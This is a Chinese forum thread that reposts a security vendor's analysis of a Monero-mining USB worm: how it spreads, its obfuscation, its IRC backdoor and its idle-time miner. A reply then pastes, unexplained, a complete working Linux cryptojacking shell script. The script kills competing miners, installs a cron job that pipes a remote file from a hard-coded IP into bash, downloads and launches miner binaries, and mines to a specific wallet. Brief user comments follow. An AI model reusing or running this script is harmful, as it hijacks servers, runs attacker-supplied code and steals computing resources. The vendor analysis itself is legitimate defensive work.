黑客利用病毒挖门罗币 已获利60余万
一、 概述近日，火绒安全团队截获一批蠕虫病毒。这些病毒通过U盘、移动硬盘等移动介质及网络驱动器传播，入侵电脑后，会远程下载各类病毒模块，以牟取利益。这些被下载的有盗号木马、挖矿病毒等，并且已经获得约645个门罗币（合60余万人民币）。这类新蠕虫病毒还在不断更新，未来可能发动更大规模的攻击。
该病毒早在2014年就已出现，并在国内外不断流窜，国外传播量远超于国内。据"火绒威胁情报系统"监测显示，从2018年开始，该病毒在国内呈现出迅速爆发的威胁态势，并且近期还在不断传播。
火绒工程师发现，该病毒通过可移动存储设备(U盘、移动硬盘等)和网络驱动器等方式进行传播。被该蠕虫病毒感染后，病毒会将移动设备、网络驱动器内的原有文件隐藏起来，并创建了一个与磁盘名称、图标完全相同的快捷方式，诱导用户点击。用户一旦点击，病毒会立即运行。
病毒运行后，首先会通过C&C远程服务器返回的控制命令，将其感染的电脑进行分组，再针对性的获取相应的病毒模块，执行盗号、挖矿等破坏行为。
病毒作者十分谨慎，将蠕虫病毒及其下载的全部病毒模块，都使用了混淆器，很难被安全软件查杀。同时，其下载的挖矿病毒只会在用户电脑空闲时进行挖矿，并且占用CPU资源很低，隐蔽性非常强。
不仅如此，该病毒还会删除被感染设备或网络驱动器根目录中的可疑文件，以保证只有自身会进入用户电脑。由此可见，该病毒以长期占据用户电脑来牟利为目的，日后不排除会远程派发其他恶性病毒（如勒索病毒）的可能。
http://bbs.huorong.cn/data/attachment/forum/201806/06/111456hkkacxxack2xkxk0.png "火绒安全软件"无需升级即可拦截并查杀该病毒。
二、 样本分析
近期，火绒截获到一批蠕虫病毒样本，该病毒主要通过网络驱动器和可移动存储设备进行传播。该病毒在2014年前后首次出现，起初病毒在海外传播量较大，在国内的感染量十分有限，在进入2018年之后国内感染量迅速上升，逐渐呈现出迅速爆发的威胁态势。该病毒代码执行后，会根据远程C&C服务器返回的控制命令执行指定恶意逻辑，甚至可以直接派发其他病毒代码到本地计算机中进行执行。现阶段，我们发现的被派发的病毒程序包括：挖矿病毒、盗号木马等。病毒恶意代码运行与传播流程图，如下图所示：
http://bbs.huorong.cn/data/attachment/forum/201806/06/110703ubx6x6mal4zdtlrr.png
病毒恶意代码运行与传播流程图 该病毒所使用的C&C服务器地址众多，且至今仍然在随着样本不断进行更新，我们仅以部分C&C服务器地址为例。如下图所示：
http://bbs.huorong.cn/data/attachment/forum/201806/06/110703e5mwzb9rrjtkk9kx.png
C&C服务器地址 该病毒会将自身拷贝到可移动存储设备和网络驱动器中，病毒程序及脚本分别名为DeviceConfigManager.exe和DeviceConfigManager.vbs。被该病毒感染后的目录，如下图所示：
http://bbs.huorong.cn/data/attachment/forum/201806/06/110703kezo3kbqbiu51u3h.png
被该病毒感染后的目录（上为可移动存储设备，下为网络驱动器） 火绒截获的蠕虫病毒样本既其下载的其他病毒程序全部均使用了相同的混淆器，此处对其所使用的混淆器进行统一分析，下文中不再赘述。其所使用的混淆器会使用大量无意义字符串或数据调用不同的系统函数，使用此方法达到其混淆目的。混淆器相关代码，如下图所示：
http://bbs.huorong.cn/data/attachment/forum/201806/06/110703c51hdnkandny1ru1.png
混淆代码 混淆器中使用了大量与上图中类似的垃圾代码，而用于还原加载原始PE镜像数据的关键逻辑代码也被穿插在这些垃圾代码中。还原加载原始PE数据的相关代码，如下图所示：
http://bbs.huorong.cn/data/attachment/forum/201806/06/110704i8b821ya0wbg1mzg.png
还原加载原始PE镜像数据的相关代码 上述代码运行完成后，会调用加载原始PE镜像数据的相关的代码逻辑。加载原始PE镜像数据的代码，首先会获取LoadLibrary、GetProcAddress函数地址及当前进程模块基址，之后借此获取其他关键函数地址。解密后的相关代码，如下图所示：
http://bbs.huorong.cn/data/attachment/forum/201806/06/110704xkx7jwt5p5x7n7z4.png
解密后的加载代码 原始PE镜像数据被使用LZO算法（Lempel-Ziv-Oberhumer）进行压缩，经过解压，再对原始PE镜像进行虚拟映射、修复导入表及重定位数据后，即会执行原始恶意代码逻辑。相关代码，如下图所示：
http://bbs.huorong.cn/data/attachment/forum/201806/06/110705qfaf2aqa9ailfibi.png
调用解压缩及虚拟映射相关代码蠕虫病毒
该病毒整体逻辑分为两个部分，分别为传播和后门逻辑。该病毒的传播只针对可移动存储设备和网络驱动器，被感染后的可移动存储设备或网络驱动器根目录中会被释放一组病毒文件，并通过诱导用户点击或利用系统自动播放功能进行启动。蠕虫病毒通过遍历磁盘进行传播的相关逻辑代码，如下图所示：
http://bbs.huorong.cn/data/attachment/forum/201806/06/110705ck5sb3pzp43mnpm6.png
遍历磁盘传播 被释放的病毒文件及文件描述，如下图所示：
http://bbs.huorong.cn/data/attachment/forum/201806/06/110705s2eaectqcahw66gz.png
被释放的病毒文件及文件描述 蠕虫病毒会通过在病毒vbs脚本中随机插入垃圾代码方式对抗安全软件查杀，被释放的vbs脚本首先会关闭当前资源管理器窗口，之后打开磁盘根目录下的"_"文件夹，最后执行病毒程序DeviceConfigManager.exe。释放病毒vbs脚本相关逻辑，如下图所示：
http://bbs.huorong.cn/data/attachment/forum/201806/06/110706i6y86ym620cd58tm.png
释放病毒vbs脚本相关逻辑 除了释放病毒文件外，病毒还会根据扩展名删除磁盘根目录中的可疑文件（删除时会将自身释放的病毒文件排除）。被删除的文件后缀名，如下图所示：
http://bbs.huorong.cn/data/attachment/forum/201806/06/110707j0c9kex29bcbt9bk.png
被删除的文件后缀名 病毒在释放文件的同时，还会将根目录下的所有文件全部移动至病毒创建的"_"目录中。除了病毒释放的快捷方式外，其他病毒文件属性均被设置为隐藏，在用户打开被感染的磁盘后，只能看到与磁盘名称、图标完全相同的快捷方式，从而诱骗用户点击。快捷方式指向的文件为DeviceConfigManager.vbs，vbs脚本功能如前文所述。通过这些手段可以使病毒代码执行的同时，尽可能不让用户有所察觉。
http://bbs.huorong.cn/data/attachment/forum/201806/06/110707f7ixjlrijxixijil.png
被释放的病毒文件列表 蠕虫病毒释放的快捷方式，如下图所示：
http://bbs.huorong.cn/data/attachment/forum/201806/06/110708cfbr8jzn13fdgtdz.png
蠕虫病毒释放的快捷方式 该病毒的后门逻辑会通过与C&C服务器进行IRC通讯的方式进行，恶意代码会根据当前系统环境将当前受控终端加入到不同的分组中，再通过分组通讯对属于不同分组的终端分别进行控制。病毒用来进行分组的信息包括：语言区域信息、当前系统平台版本为x86或x64、当前用户权限等。后门代码中最主要的恶意功能为下载执行远程恶意代码，再借助病毒创建的自启动项，使该病毒可以常驻于用户计算机，且可以向受控终端推送的任意恶意代码进行执行。病毒首先会使用用户的语言区域信息和随机数生成用户ID，之后向C&C服务器发送NICK和USER通讯命令，随机的用户ID会被注册为NICK通讯命令中的名字，该操作用于受控终端上线。相关代码，如下图所示：
http://bbs.huorong.cn/data/attachment/forum/201806/06/110708xzlngjalyn1zhlny.png
受控终端上线相关代码 通过上图我们可以看到，病毒所使用的C&C服务器列表中域名和IP地址众多，其中很大一部分都为无效域名和地址，主要用于迷惑安全研究人员。在受控端上线后，就会从C&C服务器获取控制指令进行执行。病毒可以根据不同的系统环境将当前受控终端进行分组，分组依据包括：语言区域信息、当前用户权限、系统平台版本信息（x86/x64）。除此之外，病毒还可以利用控制命令通过访问IP查询网站（http://api.wipmania.com）严格限制下发恶意代码的传播范围。主要控制命令及命令功能描述，如下图所示：
http://bbs.huorong.cn/data/attachment/forum/201806/06/110708w87ecmzdcb4kbmsc.png
主要控制命令及命令功能描述 主要后门控制相关代码，如下图所示：
http://bbs.huorong.cn/data/attachment/forum/201806/06/110709v6se55dzex6vgct5.png
后门控制代码 病毒会将远程请求到的恶意代码释放至%temp%目录下进行执行，文件名随机。相关代码，如下图所示：
http://bbs.huorong.cn/data/attachment/forum/201806/06/110709zxu3cg61ww6wxgkq.png
下载执行远程恶意代码挖矿病毒
病毒下发的恶意代码众多，我们此次仅以挖矿病毒为例。本次火绒截获的挖矿病毒执行后，会在电脑运算资源闲置时挖取门罗币，对于普通用户来说其挖矿行为很难被察觉。 在本次火绒所截获到的样本中，我们发现，病毒下发的所有恶意代码都使用了与蠕虫病毒相同的混淆器。以混淆器还原加载原始PE数据代码为例进行对比，如下图所示：
http://bbs.huorong.cn/data/attachment/forum/201806/06/110710s393lkx5p2392lsp.png
混淆器代码对比图（左为被下发到终端的挖矿病毒、右为蠕虫病毒） 挖矿病毒原始恶意代码运行后，会将病毒自身复制到C:\Users\用户名\AppData\Roaming\svchostx64.exe位置，并创建计划任务每分钟执行一次。病毒会创建互斥量，通过检测互斥量，可以保证系统中的病毒进程实例唯一。之后，病毒会使用挖矿参数启动自身程序，再将挖矿程序（XMRig）PE镜像数据注入到新启动的进程中执行挖矿逻辑。在火绒行为沙盒中挖矿病毒行为，如下图所示：
http://bbs.huorong.cn/data/attachment/forum/201806/06/110711og2rgqsz52r2fze2.png
挖矿病毒行为 如上图所示，挖矿参数中限制挖矿程序CPU占用率为3%，并且会通过检测系统闲置信息的方式不断检测CPU占用率是否过高，如果过高则会重新启动挖矿进程。通过遍历进程检测任务管理器进程（Taskmgr.exe）是否存在，如果存在则会停止挖矿，待任务管理进程退出后继续执行挖矿逻辑。病毒通过上述方法提高了病毒自身的隐蔽性，保证病毒可以尽可能的长时间驻留于被感染的计算机中。相关代码，如下图所示：
http://bbs.huorong.cn/data/attachment/forum/201806/06/110711uphssminbkuhwpbz.png
挖矿逻辑控制代码 虽然病毒严格控制了挖矿效率，但是由于该病毒感染量较大，总共挖取门罗币约645个，以门罗币当前价格计算，合人民币60余万元。病毒使用的门罗币钱包账户交易信息，如下图所示：
http://bbs.huorong.cn/data/attachment/forum/201806/06/110712mpypao9ppl5x5afp.png
病毒使用的门罗币钱包账户交易信息三、 附录
文中涉及样本SHA256：
http://bbs.huorong.cn/data/attachment/forum/201806/06/110712fsrtnhiyniuqxgqh.pngPDF下载：http://down4.huorong.cn/doc/report/devcfgmgr.pdf
虚拟币为什么还不爆炸 #!/bin/sh
pkill -9 142.4.124.164
pkill -9 192.99.56.117
pkill -9 jva
pkill -f ./atd
pkill -f /tmp/wa/httpd.conf
pkill -f 108.61.186.224
pkill -f 128.199.86.57
pkill -f 67.231.243.10
pkill -f 142.4.124.164
pkill -f 192.99.56.117
pkill -f 45.76.102.45
pkill -f AnXqV.yam
pkill -f BI5zj
pkill -f Carbon
pkill -f Duck.sh
pkill -f Guard.sh
pkill -f JnKihGjn
pkill -f KGlJwfWDbCPnvwEJupeivI1FXsSptuyh
pkill -f NXLAi
pkill -f XJnRj
pkill -f 158.69.133.17
pkill -f accounts-daemon
pkill -f askdljlqw
pkill -f atd
pkill -f bonn.sh
pkill -f bonns
pkill -f carbon
pkill -f conn.sh
pkill -f conns
pkill -f crypto-pool
pkill -f ddg
pkill -f donns
pkill -f gekoCrw
pkill -f gekoCrw32
pkill -f gekoba2anc1
pkill -f gekoba5xnc1
pkill -f gekobalanc1
pkill -f gekobalance
pkill -f gekobalanq1
pkill -f gekobnc1
pkill -f ir29xc1
pkill -f irpbalanc1
pkill -f jIuc2ggfCAvYmluL2Jhc2gi
pkill -f jaav
pkill -f jva
pkill -f kw.sh
pkill -f kworker34
pkill -f kxjd
pkill -f lexarbalanc1
pkill -f lower.sh
pkill -f lowerv2.sh
pkill -f lowerv3.sh
pkill -f minerd
pkill -f minergate
pkill -f minergate-cli
pkill -f minexmr
pkill -f mixnerdx
pkill -f mule
pkill -f mutex
pkill -f myatd
pkill -f performedl
pkill -f polkitd
pkill -f pro.sh
pkill -f pubg
pkill -f pvv
pkill -f root.sh
pkill -f rootv2.sh
pkill -f rootv3.sh
pkill -f servcesa
pkill -f sleep
pkill -f sourplum
pkill -f stratum
pkill -f vsp
pkill -f watch-smart
pkill -f wget
pkill -f ysaydh
pkill -f acpid
pkill -9 ./atd
pkill -9 /tmp/wa/httpd.conf
pkill -9 108.61.186.224
pkill -9 128.199.86.57
pkill -9 142.4.124.164
pkill -9 192.99.56.117
pkill -9 45.76.102.45
pkill -9 ./AnXqV.yam
pkill -9 ./BI5zj
pkill -9 ./Carbon
pkill -9 ./Duck.sh
pkill -9 ./Guard.sh
pkill -9 ./JnKihGjn
pkill -9 ./KGlJwfWDbCPnvwEJupeivI1FXsSptuyh
pkill -9 ./NXLAi
pkill -9 ./XJnRj
pkill -9 ./accounts-daemon
pkill -9 ./askdljlqw
pkill -9 ./atd
pkill -9 ./bonn.sh
pkill -9 ./bonns
pkill -9 ./carbon
pkill -9 ./conn.sh
pkill -9 ./conns
pkill -9 ./crypto-pool
pkill -9 ./ddg
pkill -9 ./donns
pkill -9 ./gekoCrw
pkill -9 ./gekoCrw32
pkill -9 ./gekoba2anc1
pkill -9 ./gekoba5xnc1
pkill -9 ./gekobalanc1
pkill -9 ./gekobalance
pkill -9 ./gekobalanq1
pkill -9 ./gekobnc1
pkill -9 ./ir29xc1
pkill -9 ./irpbalanc1
pkill -9 ./jIuc2ggfCAvYmluL2Jhc2gi
pkill -9 ./jaav
pkill -9 ./jva
pkill -9 ./kw.sh
pkill -9 ./kworker34
pkill -9 ./kxjd
pkill -9 ./lexarbalanc1
pkill -9 ./lower.sh
pkill -9 ./lowerv2.sh
pkill -9 ./lowerv3.sh
pkill -9 ./minerd
pkill -9 ./minergate
pkill -9 ./minergate-cli
pkill -9 ./minexmr
pkill -9 ./mixnerdx
pkill -9 ./mule
pkill -9 ./mutex
pkill -9 ./myatd
pkill -9 ./performedl
pkill -9 ./polkitd
pkill -9 ./pro.sh
pkill -9 ./pubg
pkill -9 ./pvv
pkill -9 ./root.sh
pkill -9 ./rootv2.sh
pkill -9 ./rootv3.sh
pkill -9 ./servcesa
pkill -9 ./sleep
pkill -9 ./sourplum
pkill -9 ./stratum
pkill -9 ./vsp
pkill -9 ./watch-smart
pkill -9 ./wget
pkill -9 ./ysaydh
pkill -9 ./acpid
pkill./atd
pkill/tmp/wa/httpd.conf
pkill108.61.186.224
pkill128.199.86.57
pkill142.4.124.164
pkill192.99.56.117
pkill45.76.102.45
pkill./AnXqV.yam
pkill./BI5zj
pkill./Carbon
pkill./Duck.sh
pkill./Guard.sh
pkill./JnKihGjn
pkill./KGlJwfWDbCPnvwEJupeivI1FXsSptuyh
pkill./NXLAi
pkill./XJnRj
pkill./accounts-daemon
pkill./askdljlqw
pkill./atd
pkill./bonn.sh
pkill./bonns
pkill./carbon
pkill./conn.sh
pkill./conns
pkill./crypto-pool
pkill./ddg
pkill./donns
pkill./gekoCrw
pkill./gekoCrw32
pkill./gekoba2anc1
pkill./gekoba5xnc1
pkill./gekobalanc1
pkill./gekobalance
pkill./gekobalanq1
pkill./gekobnc1
pkill./ir29xc1
pkill./irpbalanc1
pkill./jIuc2ggfCAvYmluL2Jhc2gi
pkill./jaav
pkill./jva
pkill./kw.sh
pkill./kworker34
pkill./kxjd
pkill./lexarbalanc1
pkill./lower.sh
pkill./lowerv2.sh
pkill./lowerv3.sh
pkill./minerd
pkill./minergate
pkill./minergate-cli
pkill./minexmr
pkill./mixnerdx
pkill./mule
pkill./mutex
pkill./myatd
pkill./performedl
pkill./polkitd
pkill./pro.sh
pkill./pubg
pkill./pvv
pkill./root.sh
pkill./rootv2.sh
pkill./rootv3.sh
pkill./servcesa
pkill./sleep
pkill./sourplum
pkill./stratum
pkill./vsp
pkill./watch-smart
pkill./wget
pkill./ysaydh
pkill./acpid
ps aux | grep -v supsplk | awk '{if($3>40.0) print $2}' | while read procid
do
kill -9 $procid
done
rm -rf /dev/shm/jboss
ps -fe|grep supsplk |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
rm -rf /var/tmp/ysjswirmrm.conf
rm -rf /var/tmp/atd
mkdir /var/tmp
pkill -9 tratum
pkill -9 mixnerdx
pkill -9 performedl
pkill -9 sleep
pkill -9 /tmp/httpd.conf
pkill -9 JnKihGjn
pkill -9 irqba2anc1
pkill -9 irqba5xnc1
pkill -9 irqbnc1
pkill -9 ir29xc1
pkill -9 conns
ps auxw|head -1;ps auxw|sort -rn -k3|head -1|awk '{if($3>60.0) print "kill -9 " $2}'|sh
pkill -9 irqbalance
pkill -9 crypto-pool
pkill -9 XJnRj
pkill -9 NXLAi
pkill -9 BI5zj
pkill -9 askdljlqw
pkill -9 minerd
pkill -9 minergate
pkill -9 Guard.sh
pkill -9 ysaydh
pkill -9 bonns
pkill -9 donns
pkill -9 kxjd
pkill -f sleep
pkill -f /tmp/m
pkill -f JnKihGjn
pkill -f irqba2anc1
pkill -f irqba5xnc1
pkill -f conns
pkill -f irqbalance
pkill -f crypto-pool
pkill -f XJnRj
pkill -f NXLAi
pkill -f BI5zj
pkill -f askdljlqw
pkill -f minerd
pkill -f minergate
pkill -f Guard.sh
pkill -f ysaydh
pkill -f bonns
pkill -f donns
pkill -f kxjd
pkill -f 108.61.186.224
pkill -f Duck.sh
pkill -f bonn.sh
pkill -f conn.sh
pkill -f kworker34
pkill -f kw.sh
pkill -f pro.sh
pkill -f polkitd
pkill -f acpid
pkill -f bb
pkill -9 atd
pkill -9 accounts-daemon
pkill -f yam
ps auxf|grep -v grep|grep -v ovpvwbvtat|grep "/tmp/"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\./"|grep 'httpd.conf'|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\-p x"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "ysjswirmrm"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "snapd"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "mysql_dump"|awk '{print $2}'|xargs kill -9
crontab -r || true && \
echo "* * * * * curl -s http://192.99.142.232:8220/logo3.jpg | bash -s" >> /tmp/cron || true && \
crontab /tmp/cron || true && \
rm -rf /tmp/cron || true && \
docker pause `docker ps|grep kube-apis |awk '{print $1}'`
docker pause `docker ps|grep nginx78 |awk '{print $1}'`
curl -o /var/tmp/config.json http://192.99.142.232:8220/config_1.json
curl -o /var/tmp/supsplk http://192.99.142.232:8220/gcc
chmod 777 /var/tmp/supsplk
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$(($proc+1))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./supsplk -c config.json -t `echo $cores` >/dev/null &
fi
ps -fe|grep supsplk |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
curl -o /var/tmp/config.json http://192.99.142.232:8220/c1.json
curl -o /var/tmp/supsplk http://192.99.142.232:8220/minerd
chmod 777 /var/tmp/supsplk
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$(($proc+1))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./supsplk -c config.json -t `echo $cores` >/dev/null &
fi
if [ $? -eq 0 ]
then
pwd
else
curl -o /var/tmp/config.json http://192.99.142.232:8220/kworker.json
curl -o /var/tmp/supsplk http://192.99.142.232:8220/atd2
chmod 777 /var/tmp/supsplk
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$(($proc+1))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./supsplk -c config.json -t `echo $cores` >/dev/null &
fi
if [ $? -eq 0 ]
then
pwd
else
curl -o /var/tmp/config.json http://192.99.142.232:8220/kworker.json
curl -o /var/tmp/supsplk http://192.99.142.232:8220/atd3
chmod 777 /var/tmp/supsplk
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$(($proc+1))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./supsplk -c config.json -t `echo $cores` >/dev/null &
fi
ps -fe|grep supsplk |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
curl -o /var/tmp/supsplk http://192.99.142.232:8220/yam
chmod 777 /var/tmp/supsplk
cd /var/tmp
nohup ./supsplk -c x -M stratum+tcp://41e2vPcVux9NNeTfWe8TLK2UWxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3zKTUYo:x@monerohash.com:3333/xmr>/dev/null &
fi
echo "runing....." 解析的很详细！！谢谢 币圈的啊，哈哈 啥样的都有。防不胜防的感觉。 简直是溜得飞起 综上所述，楼主你是火绒的人 {:301_974:} 楼主肯定是火绒专门安插在吾爱打广告的{:1_918:} 不明觉厉 为什么总有人想一夜暴富，各种虚拟货币。真是的。